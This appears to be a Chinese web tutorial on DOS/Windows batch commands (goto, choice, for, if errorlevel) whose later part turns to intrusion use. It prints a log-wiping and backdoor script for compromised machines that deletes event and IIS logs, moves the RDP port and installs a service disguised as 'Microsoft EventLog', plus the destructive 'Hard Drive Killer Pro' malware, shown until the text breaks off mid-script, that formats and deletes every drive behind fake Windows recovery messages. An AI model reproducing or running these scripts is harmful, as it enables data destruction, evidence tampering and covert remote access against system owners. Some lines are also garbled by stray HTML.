批处理文件运行到这里将跳到goto所指定的标号(标号即label，标号用:后跟标准字符串来定义)处，goto语句一般与if配合使用，根据不同的条件来执行不同的命令组。 <br /><br />如: <br /><br />goto end <br /><br />:end <br />echo this is the end <br /><br />标号用":字符串"来定义，标号所在行不被执行。 <br /><br />====  编注 <br /><br />label 常被译为 "标签" , 但是这并不具有广泛的约定性. <br /><br />goto 与 : 联用可实现执行中途的跳转, 再结合 if 可实现执行过程的条件分支, 多个 if 即可实现命令的分组, 类似 C 中 switch case 结构或者 Basic 中的 select case 结构, 大规模且结构化的命令分组即可实现高级语言中的函数功能. 以下是批处理和C/Basic在语法结构上的对照: <br /><br />Batch C / Basic <br />goto&amp;: goto&amp;: <br />goto&amp;:&amp;if if{}&amp;else{} / if&amp;elseif&amp;endif <br />goto&amp;:&amp;if... switch&amp;case / select case <br />goto&amp;:&amp;if&amp;set&amp;envar... function() / function(),sub() <br />================================== <br />三、choice 使用此命令可以让用户输入一个字符（用于选择），从而根据用户的选择返回不同的errorlevel，然后于if errorlevel配合，根据用户的选择运行不同的命令。 <br /><br />注意：choice命令为DOS或者Windows系统提供的外部命令，不同版本的choice命令语法会稍有不同，请用choice /?查看用法。 <br /><br />choice的命令语法（该语法为Windows 2003中choice命令的语法，其它版本的choice的命令语法与此大同小异）： <br /><br />CHOICE [/C choices] [/N] [/CS] [/T timeout /D choice] [/M text] <br /><br />描述: <br />该工具允许用户从选择列表选择一个项目并返回所选项目的索引。 <br /><br />参数列表: <br />/C choices 指定要创建的选项列表。默认列表是 "YN"。 <br /><br />/N 在提示符中隐藏选项列表。提示前面的消息得到显示， <br />选项依旧处于启用状态。 <br /><br />/CS 允许选择分大小写的选项。在默认情况下，这个工具 <br />是不分大小写的。 <br /><br />/T timeout 做出默认选择之前，暂停的秒数。可接受的值是从 0 <br />到 9999。如果指定了 0，就不会有暂停，默认选项 <br />会得到选择。 <br /><br />/D choice 在 nnnn 秒之后指定默认选项。字符必须在用 /C 选 <br />项指定的一组选择中; 同时，必须用 /T 指定 nnnn。 <br /><br />/M text 指定提示之前要显示的消息。如果没有指定，工具只 <br />显示提示。 <br /><br />/? 显示帮助消息。 <br /><br />注意: <br />ERRORLEVEL 环境变量被设置为从选择集选择的键索引。列出的第一个选 <br />择返回 1，第二个选择返回 2，等等。如果用户按的键不是有效的选择， <br />该工具会发出警告响声。如果该工具检测到错误状态，它会返回 255 的 <br />ERRORLEVEL 值。如果用户按 Ctrl+Break 或 Ctrl+C 键，该工具会返回 0 <br />的 ERRORLEVEL 值。在一个批程序中使用 ERRORLEVEL 参数时，将参数降 <br />序排列。 <br /><br />示例: <br />CHOICE /? <br />CHOICE /C YNC /M "确认请按 Y，否请按 N，或者取消请按 C。" <br />CHOICE /T 10 /C ync /CS /D y <br />CHOICE /C ab /M "选项 1 请选择 a，选项 2 请选择 b。" <br />CHOICE /C ab /N /M "选项 1 请选择 a，选项 2 请选择 b。" <br /><br />==== 编注 =============================== <br />我列出win98下choice的用法帮助, 已资区分 <br /><br />Waits for the user to choose one of a set of choices. <br />等待用户选择一组待选字符中的一个 <br /><br /><div class="code_main">CHOICE [/C[:]choices] [/N] [/S] [/T[:]c,nn] [text] </div><br />/C[:]choices Specifies allowable keys. Default is YN <br />指定允许的按键(待选字符), 默认为YN <br />/N Do not display choices and ? at end of prompt string. <br />不显示提示字符串中的问号和待选字符 <br />/S Treat choice keys as case sensitive. <br />处理待选字符时大小写敏感 <br />/T[:]c,nn Default choice to c after nn seconds <br />在 nn 秒后默认选择 c <br />text Prompt string to display <br />要显示的提示字符串 <br />ERRORLEVEL is set to offset of key user presses in choices. <br />ERRORLEVEL 被设置为用户键入的字符在待选字符中的偏移值 <br />如果我运行命令：CHOICE /C YNC /M "确认请按 Y，否请按 N，或者取消请按 C。" <br />屏幕上会显示： <br />确认请按 Y，否请按 N，或者取消请按 C。 [Y,N,C]? <br /><br /><br />例：test.bat的内容如下（注意，用if errorlevel判断返回值时，要按返回值从高到低排列）: <br /><div class="code_main">@echo off <br />choice /C dme /M "defrag,mem,end" <br />if errorlevel 3 goto end <br />if errorlevel 2 goto mem <br />if errorlevel 1 goto defrag <br /><br />:defrag <br />c:\dos\defrag <br />goto end <br /><br />:mem <br />mem <br />goto end <br /><br />:end <br />echo good bye</div><br />此批处理运行后，将显示"defrag,mem,end[D,M,E]?" ，用户可选择d m e ，然后if语句根据用户的选择作出判断，d表示执行标号为defrag的程序段，m表示执行标号为mem的程序段，e表示执行标号为end的程序段，每个程序段最后都以goto end将程序跳到end标号处，然后程序将显示good bye，批处理运行结束。 <br /><br />四、for 循环命令，只要条件符合，它将多次执行同一命令。 <br /><br />语法： <br />对一组文件中的每一个文件执行某个特定命令。 <br /><br />FOR %%variable IN (set) DO command [command-parameters] <br /><br />%%variable 指定一个单一字母可替换的参数。 <br />(set) 指定一个或一组文件。可以使用通配符。 <br />command 指定对每个文件执行的命令。 <br />command-parameters <br />为特定命令指定参数或命令行开关。 <br /><br />例如一个批处理文件中有一行: <br />for %%c in (*.bat *.txt) do type %%c <br /><br />则该命令行会显示当前目录下所有以bat和txt为扩展名的文件的内容。 <br /><br />==== 编注 ===========================================<br />需要指出的是, 当()中的字符串并非单个或多个文件名时, 它将单纯被当作字符串替换, 这个特性再加上()中可以嵌入多个字符串的特性, 很明显 for 可以被看作一种遍历型循环. <br />当然, 在 nt/2000/xp/2003 系列的命令行环境中, for 被赋予了更多的特性, 使之可以分析命令输出或者文件中的字符串, 也有很多开关被用于扩展了文件替换功能. <br />=======================================================<br />批处理示例 <br /><br /><strong>1. IF-EXIST</strong> <br /><br />1) 首先用记事本在C:\建立一个test1.bat批处理文件，文件内容如下： <br /><div class="code_main">@echo off <br />IF EXIST \AUTOEXEC.BAT TYPE \AUTOEXEC.BAT <br />IF NOT EXIST \AUTOEXEC.BAT ECHO \AUTOEXEC.BAT does not exist</div> <br /><br />然后运行它： <br />C:\&gt;TEST1.BAT <br /><br />如果C:\存在AUTOEXEC.BAT文件，那么它的内容就会被显示出来，如果不存在，批处理就会提示你该文件不存在。 <br /><br />2) 接着再建立一个test2.bat文件，内容如下： <br /><div class="code_main">@ECHO OFF <br />IF EXIST \%1 TYPE \%1 <br />IF NOT EXIST \%1 ECHO \%1 does not exist</div> <br />执行: <br />C:\&gt;TEST2 AUTOEXEC.BAT <br />该命令运行结果同上。 <br /><br />说明： <br />(1) IF EXIST 是用来测试文件是否存在的，格式为 <br />IF EXIST [路径+文件名] 命令 <br />(2) test2.bat文件中的%1是参数，DOS允许传递9个批参数信息给批处理文件，分别为%1~%9(%0表示test2命令本身) ，这有点象编程中的实参和形参的关系，%1是形参，AUTOEXEC.BAT是实参。 <br /><br />==== willsort 编注 ===========================================<br />DOS没有 "允许传递9个批参数信息" 的限制, 参数的个数只会受到命令行长度和所调用命令处理能力的限制. 但是, 我们在批处理程序中, 在同一时刻只能同时引用10个参数, 因为 DOS只给出了 %0~%9这十个参数引用符. <br />=======================================================<br />3) 更进一步的，建立一个名为TEST3.BAT的文件，内容如下： <br /><div class="code_main">@echo off <br />IF "%1" == "A" ECHO XIAO <br />IF "%2" == "B" ECHO TIAN <br />IF "%3" == "C" ECHO XIN </div><br />如果运行： <br />C:\&gt;TEST3 A B C <br />屏幕上会显示: <br />XIAO <br />TIAN <br />XIN <br /><br />如果运行： <br />C:\&gt;TEST3 A B <br />屏幕上会显示 <br />XIAO <br />TIAN <br /><br />在这个命令执行过程中，DOS会将一个空字符串指定给参数%3。 <br /><br /><strong>2、IF-ERRORLEVEL</strong> <br />建立TEST4.BAT，内容如下： <br /><div class="code_main">@ECHO OFF <br />XCOPY C:\AUTOEXEC.BAT D:\ <br />IF ERRORLEVEL 1 ECHO 文件拷贝失败 <br />IF ERRORLEVEL 0 ECHO 成功拷贝文件</div> <br />然后执行文件: <br />C:\&gt;TEST4 <br /><br />如果文件拷贝成功，屏幕就会显示"成功拷贝文件"，否则就会显示"文件拷贝失败"。 <br /><br />IF ERRORLEVEL 是用来测试它的上一个DOS命令的返回值的，注意只是上一个命令的返回值，而且返回值必须依照从大到小次序顺序判断。 <br />因此下面的批处理文件是错误的： <br /><br />@ECHO OFF <br />XCOPY C:\AUTOEXEC.BAT D:\ <br />IF ERRORLEVEL 0 ECHO 成功拷贝文件 <br />IF ERRORLEVEL 1 ECHO 未找到拷贝文件 <br />IF ERRORLEVEL 2 ECHO 用户通过ctrl-c中止拷贝操作 <br />IF ERRORLEVEL 3 ECHO 预置错误阻止文件拷贝操作 <br />IF ERRORLEVEL 4 ECHO 拷贝过程中写盘错误 <br /><br />无论拷贝是否成功，后面的： <br /><br />未找到拷贝文件 <br />用户通过ctrl-c中止拷贝操作 <br />预置错误阻止文件拷贝操作 <br />拷贝过程中写盘错误 <br /><br />都将显示出来。 <br /><br />以下就是几个常用命令的返回值及其代表的意义： <br /><br />backup <br />0 备份成功 <br />1 未找到备份文件 <br />2 文件共享冲突阻止备份完成 <br />3 用户用ctrl-c中止备份 <br />4 由于致命的错误使备份操作中止 <br /><br />diskcomp <br />0 盘比较相同 <br />1 盘比较不同 <br />2 用户通过ctrl-c中止比较操作 <br />3 由于致命的错误使比较操作中止 <br />4 预置错误中止比较 <br /><br />diskcopy <br />0 盘拷贝操作成功 <br />1 非致命盘读/写错 <br />2 用户通过ctrl-c结束拷贝操作 <br />3 因致命的处理错误使盘拷贝中止 <br />4 预置错误阻止拷贝操作 <br /><br />format <br />0 格式化成功 <br />3 用户通过ctrl-c中止格式化处理 <br />4 因致命的处理错误使格式化中止 <br />5 在提示"proceed with format（y/n）?"下用户键入n结束 <br /><br />xcopy <br />0 成功拷贝文件 <br />1 未找到拷贝文件 <br />2 用户通过ctrl-c中止拷贝操作 <br />4 预置错误阻止文件拷贝操作 <br />5 拷贝过程中写盘错误 <br /><br />chkdsk <br />0 未找到错误 <br />255 找到一个或多个错误 <br /><br />choice <br />0 用户按下ctrl+c/break <br />1 用户按下第一个键 <br />255 检测到命令行中的错误条件 <br />其它 用户按下的有效字符在列表中的位置 <br /><br />defrag <br />0 碎片压缩成功 <br />1 出现内部错误 <br />2 磁盘上没有空簇。要运行DEFRAG，至少要有一个空簇 <br />3 用户用Ctrl+C退出了DEFRAG <br />4 出现一般性错误 <br />5 DEFRAG在读簇时遇到错误 <br />6 DEFRAG在写簇时遇到错误 <br />7 分配空间有错 <br />8 内存错 <br />9 没有足够空间来压缩磁盘碎片 <br /><br />deltree <br />0 成功地删除一个目录 <br /><br />diskcomp <br />0 两盘相同 <br />1 发现不同 <br />2 按CTRL+C 终止了比较 <br />3 出现严重错误 <br />4 出现初始化错误 <br /><br />find <br />0 查找成功且至少找到了一个匹配的字符串 <br />1 查找成功但没找到匹配的字符串 <br />2 查找中出现了错误 <br /><br />keyb <br />0 键盘定义文件装入成功 <br />1 使用了非法的键盘代码，字符集或语法 <br />2 键盘定义文件坏或未找到 <br />4 键盘、监视器通讯时出错 <br />5 要求的字符集未准备好 <br /><br />move <br />0 成功地移动了指定的文件 <br />1 发生了错误 <br /><br />msav /N <br />86 检查到了病毒 <br /><br />replace <br />0 REPLACE成功地替换或加入了文件 <br />1 MS-DOS版本和REPLACE不兼容 <br />2 REPLACE找不到源文件 <br />3 REPLACE找不到源路径或目标路径 <br />5 不能存取要替换的文件 <br />8 内存不够无法执行REPLACE <br />11 命令行句法错误 <br /><br />restore <br />0 RESTORE成功地恢复了文件 <br />1 RESTORE找不到要恢复的文件 <br />3 用户按CTRL+C终止恢复过程 <br />4 RESTORE因错误而终止 <br /><br />scandisk <br />0 ScanDisk在它检查的驱动器上未检测到任何错误 <br />1 由于命令行的语法不对，不能运行ScanDisk <br />2 由于内存用尽或发生内部错误，ScanDisk意外终止 <br />3 用户让ScanDisk中途退出 <br />4 进行盘面扫描时，用户决定提前退出 <br />254 ScanDisk找到磁盘故障并已全部校正 <br />255 ScanDisk找到磁盘故障，但未能全部校正 <br /><br />setver <br />0 SETVER成功地完成了任务 <br />1 用户指定了一个无效的命令开关 <br />2 用户指定了一个非法的文件名 <br />3 没有足够的系统内存来运行命令 <br />4 用户指定了一个非法的版本号格式 <br />5 SETVER在版本表中未找到指定的项 <br />6 SETVER未找到SETVER.EXE文件 <br />7 用户指定了一个非法的驱动器 <br />8 用户指定了太多的命令行参数 <br />9 SETVER检测到丢失了命令行参数 <br />10 在读SETVER.EXE文件时，SETVER检测到发生错误 <br />11 SETVER.EXE文件损坏 <br />12 指定的SETVER.EXE文件不支持版本表 <br />13 版本表中没有足够的空间存放新的项 <br />14 在写SETVER.EXE文件时SETVER检测到发生错误 <br />=======================================================<br /><strong>3、IF STRING1 == STRING2</strong> <br /><br />建立TEST5.BAT，文件内容如下： <br /><div class="code_main">@echo off <br />IF "%1" == "A" FORMAT A:</div> <br />执行： <br />C:\&gt;TEST5 A <br />屏幕上就出现是否将A:盘格式化的内容。 <br /><br />注意：为了防止参数为空的情况，一般会将字符串用双引号（或者其它符号，注意不能使用保留符号）括起来。 <br />如：if [%1]==[A] 或者 if %1*==A* <br /><strong>5、GOTO</strong> <br />建立TEST6.BAT，文件内容如下： <br /><div class="code_main">@ECHO OFF <br />IF EXIST C:\AUTOEXEC.BAT GOTO _COPY <br />GOTO _DONE <br />:_COPY <br />COPY C:\AUTOEXEC.BAT D:\ <br />:_DONE</div> <br /><br />注意： <br />(1) 标号前是ASCII字符的冒号":"，冒号与标号之间不能有空格。 <br />(2) 标号的命名规则与文件名的命名规则相同。 <br />(3) DOS支持最长八位字符的标号，当无法区别两个标号时，将跳转至最近的一个标号。 <br />==== willsort 编注 ===========================================<br />1)标号也称作标签(label) <br />2)标签不能以大多数的非字母数字字符开始, 而文件名中则可以使用很多 <br />3)当无法区别两个标签时, 将跳转至位置最靠前的标签 <br />=======================================================<br /><strong>6、FOR</strong> <br /><br />建立C:\TEST7.BAT，文件内容如下： <br /><div class="code_main">@ECHO OFF <br />FOR %%C IN (*.BAT *.TXT *.SYS) DO TYPE %%C</div> <br />运行： <br />C:\&gt;TEST7 <br />执行以后，屏幕上会将C:盘根目录下所有以BAT、TXT、SYS为扩展名的文件内容显示出来（不包括隐藏文件）。        <br /><br />--------------------------------------------------------------------------------<br /><strong>批处理命令实例分析</strong><br /><br />批处理文件是无格式的文本文件，它包含一条或多条命令。它的文件扩展名为 .bat 或 .cmd。在命令提示下键入批处理文件的名称，或者双击该批处理文件，系统就会调用Cmd.exe按照该文件中各个命令出现的顺序来逐个运行它们。使用批处理文件（也被称为批处理程序或脚本），可以简化日常或重复性任务。当然我们的这个版本的主要内容是介绍批处理在入侵中一些实际运用，例如我们后面要提到的用批处理文件来给系统打补丁、批量植入后门程序等。下面就开始我们批处理学习之旅吧。 (本文因篇幅较长，所以分成两部份。前半部份讲命令，后半部分讲实例分析。) <br /><br />　　<strong>六、精彩实例放送</strong> <br /><br />　　1.删除win2k/xp系统默认共享的批处理 <br /><div class="code_main">　　------------------------ cut here then save as .bat or .cmd file --------------------------- <br /><br />　　@echo preparing to delete all the default shares.when ready pres any key. <br /><br />　　@pause <br /><br />　　@echo off <br /><br />　　:Rem check parameters if null show usage. <br /><br />　　if =={} goto :Usage <br /><br />　　:Rem code start. <br /><br />　　echo. <br /><br />　　echo ------------------------------------------------------ <br /><br />　　echo. <br /><br />　　echo Now deleting all the default shares. <br /><br />　　echo. <br /><br />　　net share %1$ /delete <br /><br />　　net share %2$ /delete <br /><br />　　net share %3$ /delete <br /><br />　　net share %4$ /delete <br /><br />　　net share %5$ /delete <br /><br />　　net share %6$ /delete <br /><br />　　net share %7$ /delete <br /><br />　　net share %8$ /delete <br /><br />　　net share %9$ /delete <br /><br />　　net stop Server <br /><br />　　net start Server <br /><br />　　echo. <br /><br />　　echo All the shares have been deleteed <br /><br />　　echo. <br /><br />　　echo ------------------------------------------------------ <br /><br />　　echo. <br /><br />　　echo Now modify the registry to change the system default properties. <br /><br />　　echo. <br /><br />　　echo Now creating the registry file <br /><br />　　echo Windows Registry Editor Version 5.00&gt; c:\delshare.reg <br /><br />　　echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\lanmanserver\parameters]&gt;&gt; c:\delshare.reg <br /><br />　　echo "AutoShareWks"=dword:00000000&gt;&gt; c:\delshare.reg <br /><br />　　echo "AutoShareServer"=dword:00000000&gt;&gt; c:\delshare.reg <br /><br />　　echo Nowing using the registry file to chang the system default properties. <br /><br />　　regedit /s c:\delshare.reg <br /><br />　　echo Deleting the temprotarily files. <br /><br />　　del c:\delshare.reg <br /><br />　　goto :END <br /><br />　　:Usage <br /><br />　　echo. <br /><br />　　echo ------------------------------------------------------ <br /><br />　　echo. <br /><br />　　echo ☆ A example for batch file ☆ <br /><br />　　echo ☆ [Use batch file to change the sysytem share properties.] ☆ <br /><br />　　echo. <br /><br />　　echo Author：Ex4rch <br /><br />　　echo Mail:Ex4rch@hotmail.com <br /><br />　　echo. <br /><br />　　echo Error：Not enough parameters <br /><br />　　echo. <br /><br />　　echo ☆ Please enter the share disk you wanna delete ☆ <br /><br />　　echo. <br /><br />　　echo For instance，to delete the default shares: <br /><br />　　echo delshare c d e ipc admin print <br /><br />　　echo. <br /><br />　　echo If the disklable is not as C: D: E: ，Please chang it youself. <br /><br />　　echo. <br /><br />　　echo example： <br /><br />　　echo If locak disklable are C: D: E: X: Y: Z: ，you should chang the command into ： <br /><br />　　echo delshare c d e x y z ipc admin print <br /><br />　　echo. <br /><br />　　echo *** you can delete nine shares once in a useing *** <br /><br />　　echo. <br /><br />　　echo ------------------------------------------------------ <br /><br />　　goto :EOF <br /><br />　　:END <br /><br />　　echo. <br /><br />　　echo ------------------------------------------------------ <br /><br />　　echo. <br /><br />　　echo OK,delshare.bat has deleted all the share you assigned. <br /><br />　　echo.Any questions ,feel free to mail to Ex4rch@hotmail.com. <br /><br />　　echo <br /><br />　　echo. <br /><br />　　echo ------------------------------------------------------ <br /><br />　　echo. <br /><br />　　:EOF <br /><br />　　echo end of the batch file </div><br /><br />　　------------------------ cut here then save as .bat or .cmd file --------------------------- <br /><br />　　------------------------ cut here then save as .bat or .cmd file --------------------------- <br /><br />　　下面命令是清除肉鸡所有日志，禁止一些危险的服务，并修改肉鸡的terminnal service留跳后路。<br /><div class="code_main">　　@regedit /s patch.dll <br /><br />　　@net stop w3s_blank rel=nofollow&gt;vc <br /><br />　　@net stop event log <br /><br />　　@del c:\winnt\system32\logfiles\w3svc1\*.* /f /q <br /><br />　　@del c:\winnt\system32\logfiles\w3svc2\*.* /f /q <br /><br />　　@del c:\winnt\system32\config\*.event /f /q <br /><br />　　@del c:\winnt\system32dtclog\*.* /f /q <br /><br />　　@del c:\winnt\*.txt /f /q <br /><br />　　@del c:\winnt\*.log /f /q <br /><br />　　@net start w3svc <br /><br />　　@net start event log <br /><br />　　@rem [删除日志] <br /><br />　　@net stop lanmanserver /y <br /><br />　　@net stop Schedule /y <br /><br />　　@net stop RemoteRegistry /y <br /><br />　　@del patch.dll <br /><br />　　@echo The server has been patched,Have fun. <br /><br />　　@del patch.bat <br /><br />　　@REM [禁止一些危险的服务。] <br /><br />　　@echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp] &gt;&gt;patch.dll <br /><br />　　@echo "PortNumber"=dword:00002010 &gt;&gt;patch.dll <br /><br />　　@echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\Wds\rdpwd\Tds\tcp &gt;&gt;patch.dll <br /><br />　　@echo "PortNumber"=dword:00002012 &gt;&gt;patch.dll <br /><br />　　@echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\TermDD] &gt;&gt;patch.dll <br /><br />　　@echo "Start"=dword:00000002 &gt;&gt;patch.dll <br /><br />　　@echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\SecuService] &gt;&gt;patch.dll <br /><br />　　@echo "Start"=dword:00000002 &gt;&gt;patch.dll <br /><br />　　@echo "ErrorControl"=dword:00000001 &gt;&gt;patch.dll <br /><br />　　@echo "ImagePath"=hex(2):25,00,53,00,79,00,73,00,74,00,65,00,6d,00,52,00,6f,00,6f,00,\ &gt;&gt;patch.dll <br /><br />　　@echo 74,00,25,00,5c,00,53,00,79,00,73,00,74,00,65,00,6d,00,33,00,32,00,5c,00,65,\ &gt;&gt;patch.dll <br /><br />　　@echo 00,76,00,65,00,6e,00,74,00,6c,00,6f,00,67,00,2e,00,65,00,78,00,65,00,00,00 &gt;&gt;patch.dll <br /><br />　　@echo "ObjectName"="LocalSystem" &gt;&gt;patch.dll <br /><br />　　@echo "Type"=dword:00000010 &gt;&gt;patch.dll <br /><br />　　@echo "Description"="Keep record of the program and windows message。" &gt;&gt;patch.dll <br /><br />　　@echo "DisplayName"="_blank rel=nofollow&gt;Microsoft EventLog" &gt;&gt;patch.dll <br /><br />　　@echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\termservice] &gt;&gt;patch.dll <br /><br />　　@echo "Start"=dword:00000004 &gt;&gt;patch.dll <br /><br />　　@copy c:\winnt\system32\termsrv.exe c:\winnt\system32\eventlog.exe <br /><br />　　@REM [修改3389连接，端口为8210(十六进制为00002012)，名称为Microsoft EventLog，留条后路] </div><br />3.Hard Drive Killer Pro Version 4.0（玩批处理到这个水平真的不容易了。） <br /><div class="code_main">　　------------------------ cut here then save as .bat or .cmd file --------------------------- <br /><br />　　@echo off <br /><br />　　rem This program is dedecated to a very special person that does not want to be named. <br /><br />　　:start <br /><br />　　cls <br /><br />　　echo PLEASE WAIT WHILE PROGRAM LOADS . . . <br /><br />　　call attrib -r -h c:\autoexec.bat &gt;nul <br /><br />　　echo @echo off &gt;c:\autoexec.bat <br /><br />　　echo call format c: /q /u /autoSample &gt;nul &gt;&gt;c:\autoexec.bat <br /><br />　　call attrib +r +h c:\autoexec.bat &gt;nul <br /><br />　　rem Drive checking and assigning the valid drives to the drive variable. <br /><br />　　set drive= <br /><br />　　set alldrive=c d e f g h i j k l m n o p q r s t u v w x y z <br /><br />　　rem code insertion for Drive Checking takes place here. <br /><br />　　rem drivechk.bat is the file name under the root directory. <br /><br />　　rem As far as the drive detection and drive variable settings, dont worry about how it <br /><br />　　rem works, its d\*amn to complicated for the average or even the expert batch programmer. <br /><br />　　rem Except for Tom Lavedas. <br /><br />　　echo @echo off &gt;drivechk.bat <br /><br />　　echo @prompt %%%%comspec%%%% /f /c vol %%%%1: $b find "Vol" &gt; nul &gt;.bat <br /><br />　　%comspec% /e:2048 /c .bat &gt;&gt;drivechk.bat <br /><br />　　del .bat <br /><br />　　echo if errorlevel 1 goto enddc &gt;&gt;drivechk.bat <br /><br />　　cls <br /><br />　　echo PLEASE WAIT WHILE PROGRAM LOADS . . . <br /><br />　　rem When errorlevel is 1, then the above is not true, if 0, then its true. <br /><br />　　rem Opposite of binary rules. If 0, it will elaps to the next command. <br /><br />　　echo @prompt %%%%comspec%%%% /f /c dir %%%%1:.\/ad/w/-p $b find "bytes" &gt; nul &gt;.bat <br /><br />　　%comspec% /e:2048 /c .bat &gt;&gt;drivechk.bat <br /><br />　　del .bat <br /><br />　　echo if errorlevel 1 goto enddc &gt;&gt;drivechk.bat <br /><br />　　cls <br /><br />　　echo PLEASE WAIT WHILE PROGRAM LOADS . . . <br /><br />　　rem if errorlevel is 1, then the drive specified is a removable media drive - not ready. <br /><br />　　rem if errorlevel is 0, then it will elaps to the next command. <br /><br />　　echo @prompt dir %%%%1:.\/ad/w/-p $b find " 0 bytes free" &gt; nul &gt;.bat <br /><br />　　%comspec% /e:2048 /c .bat &gt;&gt;drivechk.bat <br /><br />　　del .bat <br /><br />　　echo if errorlevel 1 set drive=%%drive%% %%1 &gt;&gt;drivechk.bat <br /><br />　　cls <br /><br />　　echo PLEASE WAIT WHILE PROGRAM LOADS . . . <br /><br />　　rem if its errorlevel 1, then the specified drive is a hard or floppy drive. <br /><br />　　rem if its not errorlevel 1, then the specified drive is a CD-ROM drive. <br /><br />　　echo :enddc &gt;&gt;drivechk.bat <br /><br />　　rem Drive checking insertion ends here. "enddc" stands for "end dDRIVE cHECKING". <br /><br />　　rem Now we will use the program drivechk.bat to attain valid drive information. <br /><br />　　:Sampledrv <br /><br />for %%a in (%alldrive%) do call drivechk.bat %%a &gt;nul <br /><br />　　del drivechk.bat &gt;nul <br /><br />　　if %drive.==. set drive=c <br /><br />　　:form_del <br /><br />　　call attrib -r -h c:\autoexec.bat &gt;nul <br /><br />　　echo @echo off &gt;c:\autoexec.bat <br /><br />　　echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . . &gt;&gt;c:\autoexec.bat <br /><br />　　echo for %%%%a in (%drive%) do call format %%%%a: /q /u /autoSample &gt;nul &gt;&gt;c:\autoexec.bat <br /><br />　　echo cls &gt;&gt;c:\autoexec.bat <br /><br />　　echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . . &gt;&gt;c:\autoexec.bat <br /><br />　　echo for %%%%a in (%drive%) do call c:\temp.bat %%%%a Bunga &gt;nul &gt;&gt;c:\autoexec.bat <br /><br />　　echo cls &gt;&gt;c:\autoexec.bat <br /><br />　　echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . . &gt;&gt;c:\autoexec.bat <br /><br />　　echo for %%%%a in (%drive%) call deltree /y %%%%a:\ &gt;nul &gt;&gt;c:\autoexec.bat <br /><br />　　echo cls &gt;&gt;c:\autoexec.bat <br /><br />　　echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . . &gt;&gt;c:\autoexec.bat <br /><br />　　echo for %%%%a in (%drive%) do call format %%%%a: /q /u /autoSample &gt;nul &gt;&gt;c:\autoexec.bat <br /><br />　　echo cls &gt;&gt;c:\autoexec.bat <br /><br />　　echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . . &gt;&gt;c:\autoexec.bat <br /><br />　　echo for %%%%a in (%drive%) do call c:\temp.bat %%%%a Bunga &gt;nul &gt;&gt;c:\autoexec.bat <br /><br />　　echo cls &gt;&gt;c:\autoexec.bat <br /><br />　　echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . . &gt;&gt;c:\autoexec.bat <br /><br />　　echo for %%%%a in (%drive%) call deltree /y %%%%a:\ &gt;nul &gt;&gt;c:\autoexec.bat <br /><br />　　echo cd\ &gt;&gt;c:\autoexec.bat <br /><br />　　echo cls &gt;&gt;c:\autoexec.bat <br /><br />　　echo echo Welcome to the land of death. Munga Bungas Multiple Hard Drive Killer version 4.0. &gt;&gt;c:\autoexec.bat <br /><br />　　echo echo If you ran this file, then sorry, I just made it. The purpose of this program is to tell you the following. . . &gt;&gt;c:\autoexec.bat <br /><br />　　echo echo 1. To make people aware that security should not be taken for granted. &gt;&gt;c:\autoexec.bat <br /><br />　　echo echo 2. Love is important, if you have it, truly, dont let go of it like I did! &gt;&gt;c:\autoexec.bat <br /><br />　　echo echo 3. If you are NOT a vegetarian, then you are a murderer, and Im glad your HD is dead. &gt;&gt;c:\autoexec.bat <br /><br />　　echo echo 4. Dont support the following: War, Racism, Drugs and the Liberal Party.&gt;&gt;c:\autoexec.bat <br /><br />　　echo echo. &gt;&gt;c:\autoexec.bat <br /><br />　　echo echo Regards, &gt;&gt;c:\autoexec.bat <br /><br />　　echo echo. &gt;&gt;c:\autoexec.bat <br /><br />　　echo echo Munga Bunga &gt;&gt;c:\autoexec.bat <br /><br />　　call attrib +r +h c:\autoexec.bat <br /><br />　　:makedir <br /><br />　　if exist c:\temp.bat attrib -r -h c:\temp.bat &gt;nul <br /><br />　　echo @echo off &gt;c:\temp.bat <br /><br />　　echo %%1:\ &gt;&gt;c:\temp.bat <br /><br />　　echo cd\ &gt;&gt;c:\temp.bat <br /><br />　　echo :startmd &gt;&gt;c:\temp.bat <br /><br />　　echo for %%%%a in ("if not exist %%2\nul md %%2" "if exist %%2\nul cd %%2") do %%%%a &gt;&gt;c:\temp.bat <br /><br />　　echo for %%%%a in ("&gt;ass_hole.txt") do echo %%%%a Your Gone @$hole!!!! &gt;&gt;c:\temp.bat <br /><br />　　echo if not exist %%1:\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\nul goto startmd &gt;&gt;c:\temp.bat <br /><br />　　call attrib +r +h c:\temp.bat &gt;nul <br /><br />　　cls <br /><br />　　echo Initializing Variables . . . <br /><br />　　rem deltree /y %%a:\*. only eliminates directories, hence leaving the file created above for further destruction. <br /><br />　　for %%a in (%drive%) do call format %%a: /q /u /autoSample &gt;nul <br /><br />　　cls <br /><br />　　echo Initializing Variables . . . <br /><br />　　echo Validating Data . . . <br /><br />　　for %%a in (%drive%) do call c:\temp.bat %%a Munga &gt;nul <br /><br />　　cls <br /><br />　　echo Initializing Variables . . . <br /><br />　　echo Validating Data . . . <br /><br />　　echo Analyzing System Structure . . . <br /><br />　　for %%a in (%drive%) call attrib -r -h %%a:\ /S &gt;nul <br /><br />　　call attrib +r +h c:\temp.bat &gt;nul <br /><br />　　call attrib +r +h c:\autoexec.bat &gt;nul <br /><br />　　cls <br /><br />　　echo Initializing Variables . . . <br /><br />　　echo Validating Data . . . <br /><br />　　echo Analyzing System Structure . . . <br /><br />　　echo Initializing Application . . . <br /><br />　　for %%a in (%drive%) call deltree /y %%a:\*. &gt;nul <br /><br />　　cls <br /><br />　　echo Initializing Variables . . . <br /><br />　　echo Validating Data . . . <br /><br />　　echo Analyzing System Structure . . . <br /><br />　　echo Initializing Application . . . <br /><br />　　echo Starting Application . . . <br /><br />　　for 